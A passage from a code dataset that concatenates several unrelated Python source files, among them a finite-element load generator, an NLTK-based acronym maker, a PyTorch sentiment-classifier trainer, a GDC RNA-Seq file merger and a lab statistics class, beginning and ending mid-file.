\"\"\"\n location.update()\n # Create a reference to the item being mapped\n map_key = f'{entity.__entityName__.replace(\"-\",\"_\")}-{entity.id}'\n\n # Get the most up to date map data or create map data if there is none\n mapData = location.map_data\n\n if mapData is None:\n # Default to a 10x10 grid unless position of item is greater\n mapData = {\n 'rowCount': max(10, position[1]+size[1]),\n 'columnCount': max(10, position[0]+size[0]),\n 'data': {}\n }\n\n if position[0] > mapData['columnCount']:\n raise Exception('X position exceeds number of columns')\n\n if position[1] > mapData['rowCount']:\n raise Exception('Y position exceeds number of rows')\n\n # Create updated map data with item positions\n updatedMapData = {\n **mapData,\n 'data': {\n map_key: {\n \"name\": entity.name,\n \"item\": {\"w\": size[0], \"h\": size[1], \"x\": position[0], \"y\": position[1], \"i\":\n map_key, \"moved\": False, \"static\": False, \"isDraggable\": True}\n },\n **mapData['data']\n }\n }\n\n # Edit the item on labstep with the new map data\n location.edit(extraParams={'map_data': updatedMapData})\n\n\ndef getPosition(entity, location):\n\n mapData = location.update().map_data\n\n if mapData is None:\n return None\n\n map_key = f'{entity.__entityName__.replace(\"-\",\"_\")}-{entity.id}'\n\n if map_key in mapData['data']:\n\n item = mapData['data'][map_key]['item']\n return {\n 'w': item['w'],\n 'h': item['h'],\n 'x': item['x'],\n 'y': item['y']\n }\n\n return None\n","sub_path":"labstep/entities/resourceLocation/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"370767272","text":"# anerkiz 20160907\nfrom PIL import Image\n\n\ndef cut(inputImg):\n\n C = Image.open('assets/china.png')\n\n width = C.size[0]\n height = C.size[1]\n\n newImg = Image.new(\"RGBA\", (width + 1, height + 1), (0, 0, 0, 0))\n\n for i in range(width):\n for j in range(height):\n china = C.getpixel((i, j))\n source = inputImg.getpixel((i, j))\n\n if china[0] and source[0]:\n newImg.putpixel([i, j], source)\n\n return newImg","sub_path":"cut.py","file_name":"cut.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"60032829","text":"# -*- coding: utf-8 -*-\n\n# モデルの表面と裏面に荷重を加える\nimport os\nimport numpy as np\nimport sys\n\ndef fractal(row, point_num):\n\n file_name = \"point.bdf\"\n topology_bat_name = \"force.bat\"\n fractal_bat_name = \"fractal.bat\"\n\n param = \"0.01_smooth1.0.txt\"\n\n # diff_dict = {\"351\":172, \"176\":344, \"71\":860, \"51\":1204, \"36\":1720, \"26\":2408, \"15\":4300, \"11\":6020, \"8\":8600, \"6\":12040}\n diff_dict = {\"0\":172, \"1\":344, \"2\":860, \"3\":1204, \"4\":1720, \"5\":2408, \"6\":4300, \"7\":6020, \"8\":8600, \"9\":12040}\n\n with open(file_name, encoding=\"cp932\") as f:\n data = f.readlines()\n\n array = np.arange(2, 173, 2)\n\n # row = 5 # forceを置く列数 retu\n # point_num = \"26\" # 1列に置くforceの数 point\n row = int(row)\n point_num = str(point_num)\n\n diff = diff_dict[point_num]\n col = 86 # 横の節点数\n\n x = 1.0\n y = 0.0\n z = 0.0\n\n insert_line = 16 # bdfファイルにforceを追記する行\n ct = 0 # 荷重の数カウント\n\n for i in range(row):\n start_pos = array[int((col / (row+1)) * (i+1))]\n end_pos = start_pos + 60200\n start_pos_tmp = start_pos\n end_pos_tmp = end_pos\n\n # 表面のforce\n if (len(str(start_pos)) == 2): \n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 3):\n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n while(start_pos < end_pos-diff):\n ct += 1\n start_pos += diff\n if (len(str(start_pos)) == 2): \n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 3):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 4):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 5):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (end_pos, x, y, z))\n\n # 裏面のforce\n start_pos = start_pos_tmp - 1\n end_pos = end_pos_tmp - 1\n insert_line += 1\n if (len(str(start_pos)) == 2): \n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 3):\n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n while(start_pos < end_pos-diff):\n start_pos += diff\n if (len(str(start_pos)) == 2): \n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 3):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 4):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n elif (len(str(start_pos)) == 5):\n data.insert(insert_line, \"FORCE 2 %s 01.000000%8s%8s%8s\\n\" % (start_pos, x, y, z))\n insert_line += 1\n data.insert(insert_line, \"FORCE 2 %s 00.500000%8s%8s%8s\\n\" % (end_pos, x, y, z))\n insert_line += 1\n\n file_name_to_save = \"bdf/new_point.bdf\"\n # file_name_to_save = \"bdf\\\\\" + str(row) + \"row_\" + str(int(ct/row+2)) + \"point.bdf\"\n file_name_to_fractal = str(row) + \"row_\" + str(int(ct/row+2)) + \"point_result\" + \".bdf\"\n\n with open(file_name_to_save, mode=\"w\", encoding=\"cp932\") as f:\n f.writelines(data)\n\n # with open(topology_bat_name, mode='a') as f:\n # f.write('\\\"C:\\\\Program Files\\\\Quint\\\\OPTISHAPE-TS2019\\\\optishape-tf\\\"\t\\\"param\\\\%s\\\"\t\\\"%s\\\"\\n' % (param, file_name_to_save))\n\n # with open(fractal_bat_name, mode='a') as f:\n # f.write('C:\\\\Users\\\\kumanomi\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python37\\\\python.exe result_fractal.py \\\"bdf\\\\%s\\n' % file_name_to_fractal)\n","sub_path":"force_multi.py","file_name":"force_multi.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"465299617","text":"# Author: Jack Keane\n# Date: 3/25/20\n# Description: Create acronym with given word using given data.\n\n# Libraries\n\nimport pickle\nfrom math import log10\nfrom nltk import pos_tag\nfrom nltk.corpus import cmudict, wordnet\nfrom nltk.tokenize import word_tokenize\nimport qgn\n\n\n# Supplement data\nprondict = cmudict.dict()\nacronym_data = [\"quotes\", \"shakespeare\", \"state_union\", \"inaugural\", \"bible\", \"all\"]\n\n# Constants\nPENALTY = -10\nSIM_LIMIT = .6\nMAX_SEQUENCES = 250\nSTART = \"$\"\nEND = \"#\"\nNORMALIZE = \"%\"\n\n\n# Code\ndef generate_acronym(word, data):\n \"\"\"\n Creates acronym with given word and data.\n\n Parameters:\n word (str): Acronym will be created from this.\n data (str): String that will allow access to specific pickle file.\n\n Returns:\n list(str): List of top acronyms\n \"\"\"\n\n pos_graph, word_graph, pos_word = load_data(data)\n\n first_scores = {}\n first_sequence = {}\n\n # For the first letter of acronym only.\n # Looks at every part of speech adjacent to start of sentence.\n for adj_pos in pos_graph[START].f1:\n if adj_pos != NORMALIZE:\n # Look at every word for part of speech.\n for w in pos_word[adj_pos]:\n # If match to acronym is found, determine if word is adjacent to start of sentence\n if w[0] == word[0] and w != word and (w in word_graph[START].f1 or rare_letter_check(w[0])):\n\n # Calculate score.\n pos_score = calculate(pos_graph[START].f1, adj_pos)\n word_score = get_score(word_graph[START].f1, w)\n try:\n # Number of syllables according to prondict.\n comp_score = len(max(prondict[w]))\n except KeyError:\n comp_score = 0\n first_scores[(w, adj_pos)] = pos_score + word_score + comp_score\n\n first_sequence[(w, adj_pos)] = [(START, START), (w, adj_pos)]\n\n # Limit sequences to top MAX_SEQUENCES\n current_scores, part_sequence = get_top_sequences(first_scores, first_sequence)\n\n # For rest of acronym.\n for i in range(1, len(word)):\n\n next_scores = {}\n next_part_sequence = {}\n\n for key in current_scores.keys():\n\n # Get previous two word/PoS pairs\n word_a = part_sequence[key][-2]\n word_b = part_sequence[key][-1]\n\n # Look at PoS adjacent to previous PoS\n for adj_pos in pos_graph[word_b[1]].f1:\n if adj_pos != NORMALIZE:\n # Look at words for PoS\n for w in pos_word[adj_pos]:\n # If match to acronym is found, determine if word is adjacent to start of sentence\n if w[0] == word[i] and (rare_letter_check(word[i-1:i+1]) or w in word_graph[word_b[0]].f1):\n\n # If < 2 letters away from ending, consider adjacency to end of sentence\n if i == len(word) - 2:\n total_score = get_score(word_graph[w].f2, END) + \\\n get_score(pos_graph[adj_pos].f2, END)\n elif i == len(word) - 1:\n total_score = get_score(word_graph[w].f1, END) + \\\n get_score(pos_graph[adj_pos].f1, END)\n else:\n total_score = 0\n\n # Calculate score\n pos_score = calculate(pos_graph[word_b[1]].f1, adj_pos) + \\\n get_score(pos_graph[word_a[1]].f2, adj_pos)\n word_score = get_score(word_graph[word_b[0]].f1, w) + \\\n get_score(word_graph[word_a[0]].f2, w)\n try:\n # Number of syllables according to prondict\n comp_score = len(max(prondict[w]))\n except KeyError:\n comp_score = 0\n\n total_score += current_scores[key] + pos_score + word_score + comp_score\n\n # If word/PoS pair already exists, use pair with higher score\n if not ((w, adj_pos) in next_scores and next_scores[(w, adj_pos)] > total_score):\n next_scores[(w, adj_pos)] = total_score\n next_part_sequence[(w, adj_pos)] = part_sequence[key].copy()\n next_part_sequence[(w, adj_pos)].append((w, adj_pos))\n\n # Limit sequences to top MAX_SEQUENCES\n current_scores, part_sequence = get_top_sequences(next_scores, next_part_sequence)\n\n sen = \"\"\n acronyms = []\n\n # Create list of top acronyms\n sequences = sorted(current_scores, key=current_scores.get, reverse=True)\n while len(sequences) != 0 and len(acronyms) < 10:\n sentence = part_sequence[sequences.pop(0)][1:]\n for word in sentence:\n sen += word[0] + \" \"\n sen = sen.strip()\n if len(acronyms) == 0:\n acronyms.append(sen)\n else:\n res = True\n # Determine if acronym is unique to acronym list\n for a in acronyms:\n if sentence_similarity(a, sen) > SIM_LIMIT:\n res = False\n if res:\n acronyms.append(sen)\n sen = \"\"\n\n return acronyms\n\n\ndef load_data(data):\n \"\"\"\n Load data based on keyword.\n\n Parameters:\n data (str): Keyword\n\n Returns:\n pos_graph (dict): Dictionary of part of speech adjacency\n word_graph (dict): Dictionary of word adjacency\n pos_word (dict): Dictionary of words in each part of speech\n \"\"\"\n path = \"/Users/jackkeane/AppDev/Acronym/acronym-web-app/api/acronym/\"\n pickle_in = open(path + \"pickles/\" + data + \"_data.pickle\", \"rb\")\n ds = pickle.load(pickle_in)\n\n pos_graph = ds[\"pos_graph\"]\n word_graph = ds[\"word_graph\"]\n pos_word = ds[\"pos_word\"]\n\n pickle_in.close()\n\n return pos_graph, word_graph, pos_word\n\n\ndef get_top_sequences(scores, sequences):\n \"\"\"\n Gets top MAX_SEQUENCES of scores and sequences.\n\n Parameters:\n scores (dict): Dictionary of scores based on last word/PoS pair\n sequences (dict): Dictionary of sequences based on last word/PoS pair\n\n Returns:\n res_scores (dict): Dictionary of top MAX_SEQUENCES scores based on last word/PoS pair\n res_sequence (dict): Dictionary of top MAX_SEQUENCES sequences based on last word/PoS pair\n \"\"\"\n\n top_scores = sorted(scores, key=scores.get, reverse=True)[:MAX_SEQUENCES]\n res_scores = {}\n res_sequence = {}\n\n for key in top_scores:\n res_scores[key] = scores[key]\n res_sequence[key] = sequences[key]\n\n return res_scores, res_sequence\n\n\ndef get_score(edge, node):\n \"\"\"Get score based on adjacency. If there is no adjacency, place a penalty\"\"\"\n if node in edge:\n return calculate(edge, node)\n else:\n return PENALTY\n\n\ndef calculate(edge, node):\n \"\"\"Calculate adjacency\"\"\"\n return log10(edge[node] / edge[NORMALIZE])\n\n\ndef rare_letter_check(substring):\n \"\"\"Due to small amount of words starting with 'x' or 'z', make exception to open up possibilities.\"\"\"\n return 1 in [c in substring for c in {\"x\", \"z\"}]\n\n\ndef penn_to_wn(tag):\n \"\"\"\n Convert between a Penn Treebank tag to a simplified Wordnet tag.\n\n From https://nlpforhackers.io/wordnet-sentence-similarity/\n \"\"\"\n\n if tag.startswith('N'):\n return 'n'\n\n if tag.startswith('V'):\n return 'v'\n\n if tag.startswith('J'):\n return 'a'\n\n if tag.startswith('R'):\n return 'r'\n\n return None\n\n\ndef tagged_to_synset(word, tag):\n \"\"\"From https://nlpforhackers.io/wordnet-sentence-similarity/\"\"\"\n\n wn_tag = penn_to_wn(tag)\n if wn_tag is None:\n return None\n\n try:\n return wordnet.synsets(word, wn_tag)[0]\n except:\n return None\n\n\ndef sentence_similarity(sentence1, sentence2):\n \"\"\"\n Compute the sentence similarity using Wordnet.\n\n From https://nlpforhackers.io/wordnet-sentence-similarity/\n \"\"\"\n\n # Tokenize and tag\n sentence1 = pos_tag(word_tokenize(sentence1))\n sentence2 = pos_tag(word_tokenize(sentence2))\n\n # Get the synsets for the tagged words\n synsets1 = [tagged_to_synset(*tagged_word) for tagged_word in sentence1]\n synsets2 = [tagged_to_synset(*tagged_word) for tagged_word in sentence2]\n\n # Filter out the Nones\n synsets1 = [ss for ss in synsets1 if ss]\n synsets2 = [ss for ss in synsets2 if ss]\n\n score, count = 0.0, 0\n\n # For each word in the first sentence\n for synset in synsets1:\n # Get the similarity value of the most similar word in the other sentence\n best_score = find_max([synset.path_similarity(ss) for ss in synsets2])\n\n # Check that the similarity could have been computed\n if best_score is not None:\n score += best_score\n count += 1\n\n # To account for case where similarity cannot be computed\n if count == 0:\n score = 1\n count = 1\n\n # Average the values\n score /= count\n return score\n\n\ndef find_max(a_list):\n \"\"\"Find max float while accounting for NoneType values.\"\"\"\n res = 0\n for a in a_list:\n if a is not None and a > res:\n res = a\n return res\n\n\n# \"\"\"Code to play with program\"\"\"\n# test_word = \"play\"\n# # acronym_data = [\"quotes\", \"shakespeare\", \"state_union\", \"inaugural\", \"bible\", \"all\"]\n# top_acro = generate_acronym(test_word, acronym_data[4])\n# print(top_acro)\n","sub_path":"api/create_acronym.py","file_name":"create_acronym.py","file_ext":"py","file_size_in_byte":9717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"519527537","text":"# -*- coding: utf-8 -*-\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom dataset import SST2 as Dataset\nfrom model import RNN\nimport os\n\nBATCH_SIZE = 128\nINIT_LR = 1e-1\nMOMENTUM = 0.9\nL2_REG = 1e-5\n\nclass Learner():\n def __init__(self, dataset_path, network):\n # set device & build dataset\n self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n self.data_path = dataset_path\n\n print('begin training data')\n self.dataset = Dataset(self.data_path)\n #self.dataset_train = Dataset(self.train_path)\n #self.dataset_test = Dataset(self.test_path)\n print('finished data building')\n \n # build dataloader\n self.trainloader = self._build_dataloader(BATCH_SIZE, train=True)\n self.testloader = self._build_dataloader(1, train=False)\n\n vocab_size = self.dataset.vocab_size\n ninp, nhid, nclass = 300, 512, 2\n # for CNN, RNN and CRNN\n# self.net = network(vocab_size, ninp, nhid, nclass).to(self.device)\n # for Transformer and Star-Transformer\n nhead, nlayer = 4, 1\n self.net = network(self.dataset.vocab, ninp, nhead, nhid, nlayer, nclass).to(self.device) \n\n # setup loss function and optimizer\n self.criterion = self._loss_fn()\n self.opt = self._setup_optimizer()\n self.lr_scheduler = self._setup_lr_scheduler()\n\n def _build_dataloader(self, batch_size, train=True):\n return self.dataset.build_iterator(batch_size, train)\n \n def _loss_fn(self):\n return nn.CrossEntropyLoss()\n \n def _setup_optimizer(self):\n return optim.SGD(self.net.parameters(), lr=INIT_LR, momentum=MOMENTUM, weight_decay=L2_REG)\n \n def _setup_lr_scheduler(self):\n return torch.optim.lr_scheduler.MultiStepLR(self.opt, milestones=[10, 15, 20], gamma=0.1)\n \n def metrics(self, outputs, labels):\n _, predicted = torch.max(outputs, 1)\n correct = (predicted == labels).sum().item()\n loss = self.criterion(outputs, labels)\n accuracy = correct / labels.size(0)\n return accuracy, loss\n \n def train(self, n_epoch=25):\n print('Begin training:')\n pred_correct = 0\n total_cnt = 0\n total_loss = 0\n for epoch in range(n_epoch):\n self.net.train()\n for i, batch in enumerate(self.trainloader):\n batch_size = batch.text.shape[-1]\n hiddens = self.net.init_hiddens(batch_size).to(self.device)\n #print(i, batch.label, self.dataset_train.raw(batch.text))\n texts, labels = batch.text.to(self.device), batch.label.to(self.device)\n #print(texts.shape, labels.shape)\n self.opt.zero_grad()\n logits = self.net(texts, hiddens)\n #print(logits.shape, labels.shape)\n accuracy, loss = self.metrics(logits, labels)\n loss.backward()\n self.opt.step()\n pred_correct += accuracy * batch_size\n total_cnt += batch_size\n total_loss += batch_size*loss\n if (i+1) % 100 == 0:\n #print(batch.text.shape)\n print(i+1, ' acc={0:.2f}, loss={1:.3f}'.format(accuracy*100, loss))\n self.test()\n print(epoch+1, 'finished')\n self.lr_scheduler.step()\n print('Finished Training')\n\n def test(self):\n pred_correct = 0\n total_cnt = 0\n total_loss = 0\n self.net.eval()\n with torch.no_grad():\n for i, batch in enumerate(self.testloader):\n batch_size = batch.text.shape[-1]\n hiddens = self.net.init_hiddens(batch_size).to(self.device)\n texts, labels = batch.text.to(self.device), batch.label.to(self.device)\n logits = self.net(texts, hiddens)\n accuracy, loss = self.metrics(logits, labels)\n pred_correct += accuracy*batch_size\n total_cnt += batch_size\n total_loss += loss\n '''\n if (i+1) % 1000 == 0:\n print('{0}: test acc={1:.2f}, pred_cor={2}, total={3}'.format(i+1,\n pred_correct * 100 / total, pred_correct, total))\n '''\n print('test acc={0:.2f}, loss={1:.2f}'.format(pred_correct * 100 / total_cnt, total_loss/total_cnt))\n","sub_path":"pytorch/TextClassify/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"264958272","text":"import random\r\ndef get_forenames_surnames():\r\n forenames=[]\r\n surnames=[]\r\n\r\n for names,filename in ((forenames,'forenames.txt'),(surnames,'surnames.txt')):\r\n #print(filename)\r\n #print(names)\r\n for name in open(filename, encoding='utf8'):\r\n #print(name)\r\n names.append(name.rstrip())\r\n return forenames, surnames\r\n\r\nfnames,snames = get_forenames_surnames()\r\nfh = open('test_name.txt','w',encoding=\"utf8\")\r\nfor i in range(100):\r\n line = \"{0} {1}\\n\".format(random.choice(fnames),random.choice(snames))\r\n print(line)\r\n fh.write(line)\r\n","sub_path":"name_genrator.py","file_name":"name_genrator.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"75734299","text":"\n# Code that merges RNASeq (miRNASeq and mRNASeq) data from the GDC into a single matrix\n# ----------------------------------------------------------------------------\n# Instructions\n# 1) Navigate to the GDC and download a list of GDC RNA files or use DTT\n# 2) Run this script at the command line\n# 3) Provide the path to the TAR file of GDC RNA files or a path to a folder\n\nfrom pathlib import Path\nimport os, fnmatch, gzip, shutil, tarfile\nimport pandas as pd\n\n# Function that unpacks gz files into another directory\ndef gunzip(file_path,output_path):\n with gzip.open(file_path,\"rb\") as f_in, open(output_path,\"wb\") as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n# Ask for user input of directory to TAR file\nFile = input(\"Please supply a path to a TAR file or directory containing GDC RNASeq files (miRNA and/or mRNA): \")\nFile = str(File.replace('\\\\', ''))\n\n# Get paths to use for untarring/gzipping\np = Path(File) # Create path object from the directory\n\nFileName = p.name # get file name\nFilePath = p.parents[0] # get directory containing the tar file\n\nUntarLoc = str(FilePath) + '/' + str(FileName).replace('.tar','') # Create path to directory to untar files\nGzipLoc = UntarLoc + '/mRNAFiles' # Create path for files to be unzipped into\n\n# Create untar directory\nif not os.path.exists(UntarLoc):\n os.makedirs(UntarLoc)\n\n# Create .gz directory\nif not os.path.exists(GzipLoc):\n os.makedirs(GzipLoc)\n\n# Untar original tar file if it is a tar file\nif '.tar' in File:\n print('Extracting TAR file...')\n tar = tarfile.open(File)\n tar.extractall(path=UntarLoc)\n tar.close()\n\n# Find all .gz files and ungzip into the mRNAFiles folder\npattern = '*.gz'\nFiles = []\nfor root, dirs, files in os.walk(UntarLoc):\n for filename in fnmatch.filter(files, pattern):\n OldFilePath = os.path.join(root, filename)\n NewFilePath = os.path.join(GzipLoc, filename.replace(\".gz\",\".tsv\"))\n\n gunzip(OldFilePath, NewFilePath) # unzip to New file path\n\n Files.append(NewFilePath) # append file to list of files\n\n# Find miRNA files\npattern = '*.mirnas.quantification.txt*'\nfor root, dirs, files in os.walk(UntarLoc):\n for filename in fnmatch.filter(files, pattern):\n Files.append(os.path.join(root, filename))\n\n# Create matrices containing pandas data frames of RNASeq file contents\n# Loop through all files and add contents as a pandas data frame to the matrix\nCounts_Matrix = {}\nFPKM_Matrix = {}\nFPKM_UQ_Matrix = {}\nmiRNA_count_Matrix = {}\nmiRNA_rpmm_Matrix = {}\n\nprint('Reading Files...')\n\nfor file in Files:\n p = Path(file)\n Name = str(p.name).replace(\".tsv\",\"\")\n\n # If file is counts\n if '.htseq.counts' in Name:\n Counts_DataFrame = pd.read_csv(file,sep='\\t',header=None,names=['GeneId', Name])\n Counts_Matrix[Name] = tuple(Counts_DataFrame[Name])\n # If file is FPKM\n elif '.FPKM.txt' in Name:\n FPKM_DataFrame = pd.read_csv(file,sep='\\t',header=None,names=['GeneId', Name])\n FPKM_Matrix[Name] = tuple(FPKM_DataFrame[Name])\n # If file is FPKM-UQ\n elif '.FPKM-UQ.txt' in Name:\n FPKM_UQ_DataFrame = pd.read_csv(file,sep='\\t',header=None,names=['GeneId', Name])\n FPKM_UQ_Matrix[Name] = tuple(FPKM_UQ_DataFrame[Name])\n elif '.mirnas.quantification.txt' in Name and 'parcel' not in Name:\n miRNA_DataFrame = pd.read_csv(file,sep='\\t')\n\n miRNA_count_DataFrame = miRNA_DataFrame[['miRNA_ID','read_count']]\n miRNA_count_DataFrame.columns = ['miRNA_ID',Name]\n\n miRNA_rpmm_DataFrame = miRNA_DataFrame[['miRNA_ID','reads_per_million_miRNA_mapped']]\n miRNA_rpmm_DataFrame.columns = ['miRNA_ID',Name]\n\n miRNA_count_Matrix[Name] = tuple(miRNA_count_DataFrame[Name])\n miRNA_rpmm_Matrix[Name] = tuple(miRNA_rpmm_DataFrame[Name])\n\nprint('Merging files...')\n\n# Merge Matrices to dataframes and write to files\nif len(Counts_Matrix) > 0:\n print('Creating merged mRNASeq Counts File...')\n Counts_Final_Df = pd.DataFrame(Counts_Matrix, index=tuple((Counts_DataFrame['GeneId'])))\n Counts_Final_Df.to_csv(str(UntarLoc) + '/Merged_mRNA_Counts.tsv',sep='\\t',index=True)\nif len(FPKM_Matrix) > 0:\n print('Creating merged mRNASeq FPKM File...')\n FPKM_Final_Df = pd.DataFrame(FPKM_Matrix, index=tuple((FPKM_DataFrame['GeneId'])))\n FPKM_Final_Df.to_csv(str(UntarLoc) + '/Merged_mRNA_FPKM.tsv',sep='\\t',index=True)\nif len(FPKM_UQ_Matrix) > 0:\n print('Creating merged mRNASeq FPKM UQ File...')\n FPKM_UQ_Final_Df = pd.DataFrame(FPKM_UQ_Matrix, index=tuple((FPKM_UQ_DataFrame['GeneId'])))\n FPKM_UQ_Final_Df.to_csv(str(UntarLoc) + '/Merged_mRNA_FPKM_UQ.tsv',sep='\\t',index=True)\nif len(miRNA_count_Matrix) > 0:\n print('Creating merged miRNASeq Counts File...')\n miRNA_Count_Final_Df = pd.DataFrame(miRNA_count_Matrix, index=tuple((miRNA_count_DataFrame['miRNA_ID'])))\n miRNA_Count_Final_Df.to_csv(str(UntarLoc) + '/Merged_miRNA_Counts.tsv',sep='\\t',index=True)\nif len(miRNA_rpmm_Matrix) > 0:\n print('Creating merged miRNASeq rpmm File...')\n miRNA_rpmm_Final_Df = pd.DataFrame(miRNA_rpmm_Matrix, index=tuple((miRNA_rpmm_DataFrame['miRNA_ID'])))\n miRNA_rpmm_Final_Df.to_csv(str(UntarLoc) + '/Merged_miRNA_rpmm.tsv',sep='\\t',index=True)\n","sub_path":"Python Scripts/Merge_GDC_mRNA.py","file_name":"Merge_GDC_mRNA.py","file_ext":"py","file_size_in_byte":5203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"399339848","text":"def odd_even_list(head):\n # 예외 처리\n if head is None:\n return None\n\n odd = head\n even = head.next\n even_head = head.next\n\n # 반복해서 홀짝 노드 처리\n while even and even.next:\n odd.next, even.next = odd.next.next, even.next.next\n odd, even = odd.next, even.next\n\n # 홀수 노드의 마지막을 짝수 헤드로 연결\n odd.next = even_head\n return head\n","sub_path":"Python/AlgorithmsBookStudy/LinearDataStructure/odd_even_list.py","file_name":"odd_even_list.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"306343925","text":"import scipy.stats\nimport scikits.bootstrap as bootstrap\n\n\nclass stats(object):\n\t\"\"\"\n\tReturn a dictionary for each stat comparison with the means, sems, p-value, bootstrapped 95 percent CI\n\t\"\"\"\n\tdef __init__(self, datadict):\n\t\t\"\"\"\n\t\tParameters:\n\t\tdatadict - a dictionary composed of pandas dataframes\n\t\t\"\"\"\n\t\tself.datadict = datadict\n\n\tdef totalNspks(self):\n\t\t\"\"\"\n\t\tCompute statistical comparisons of total nosepokes in no inhibition versus inhibition session of NpHR subjects \n\n\t\tReturn dictionary with means, sems, p-value, bootstrapped 95 percent CI\n\t\t\"\"\"\n\t\ttotalNspks = {}\n\t\ttotalNspks['controlMean'] = self.datadict['totalNspksControl']['NoInhib'].mean()\n\t\ttotalNspks['controlSEM'] = self.datadict['totalNspksControl']['NoInhib'].sem()\n\t\ttotalNspks['controlCI'] = bootstrap.ci(data=self.datadict['totalNspksControl']['NoInhib'], statfunction=scipy.mean)\n\t\ttotalNspks['inhibMean'] = self.datadict['totalNspksInhibited']['Inhibited'].mean()\n\t\ttotalNspks['inhibSEM'] = self.datadict['totalNspksInhibited']['Inhibited'].sem()\n\t\ttotalNspks['inhibCI'] = bootstrap.ci(data=self.datadict['totalNspksInhibited']['Inhibited'], statfunction=scipy.mean)\n\t\ttotalNspks['p'] = scipy.stats.ttest_rel(self.datadict['totalNspksControl']['NoInhib'], self.datadict['totalNspksInhibited']['Inhibited'])\n\n\t\treturn totalNspks\n\n\tdef meanNspksControl(self):\n\t\t\"\"\"\n\t\tCompute statistical comparisons of mean nosepokes in laser versus simlaser in no inhibition control session\n\n\t\tReturn dictionary with means, sems, p-value, bootstrapped 95 percent CI\n\t\t\"\"\"\n\t\tmeanNspksControl = {}\n\t\tmeanNspksControl['simMean'] = self.datadict['meanNspksControl']['simLaser'].mean()\n\t\tmeanNspksControl['simSEM'] = self.datadict['meanNspksControl']['simLaser'].sem()\n\t\tmeanNspksControl['simCI'] = bootstrap.ci(data=self.datadict['meanNspksControl']['simLaser'], statfunction=scipy.mean)\n\t\tmeanNspksControl['laserMean'] = self.datadict['meanNspksControl']['Laser'].mean()\n\t\tmeanNspksControl['laserSEM'] = self.datadict['meanNspksControl']['Laser'].sem()\n\t\tmeanNspksControl['laserCI'] = bootstrap.ci(data=self.datadict['meanNspksControl']['Laser'], statfunction=scipy.mean)\n\t\tmeanNspksControl['p'] = scipy.stats.ttest_rel(self.datadict['meanNspksControl']['simLaser'], self.datadict['meanNspksControl']['Laser'])\n\n\t\treturn meanNspksControl\n\n\tdef meanNspksInhib(self):\n\t\t\"\"\"\n\t\tCompute statistical comparisons of mean nosepokes in laser versus simlaser in inhibition session\n\n\t\tReturn dictionary with means, sems, p-value, bootstrapped 95 percent CI\n\t\t\"\"\"\n\t\tmeanNspksInhib = {}\n\t\tmeanNspksInhib['simMean'] = self.datadict['meanNspksInhibited']['simLaser'].mean()\n\t\tmeanNspksInhib['simSEM'] = self.datadict['meanNspksInhibited']['simLaser'].sem()\n\t\tmeanNspksInhib['simCI'] = bootstrap.ci(data=self.datadict['meanNspksInhibited']['simLaser'], statfunction=scipy.mean)\n\t\tmeanNspksInhib['laserMean'] = self.datadict['meanNspksInhibited']['Laser'].mean()\n\t\tmeanNspksInhib['laserSEM'] = self.datadict['meanNspksInhibited']['Laser'].sem()\n\t\tmeanNspksInhib['laserCI'] = bootstrap.ci(data=self.datadict['meanNspksInhibited']['Laser'], statfunction=scipy.mean)\n\t\tmeanNspksInhib['p'] = scipy.stats.ttest_rel(self.datadict['meanNspksInhibited']['simLaser'], self.datadict['meanNspksInhibited']['Laser'])\n\n\t\treturn meanNspksInhib\n\n\tdef nspksByResponseReq(self):\n\t\t\"\"\"\n\t\tCompute statistical comparisons of mean nosepokes in laser versus simlaser, grouped by response requirement in inhibition session\n\n\t\tReturn dictionary with means, sems, p-value, bootstrapped 95 percent CI\n\t\t\"\"\"\n\t\tnspksByResponseReq 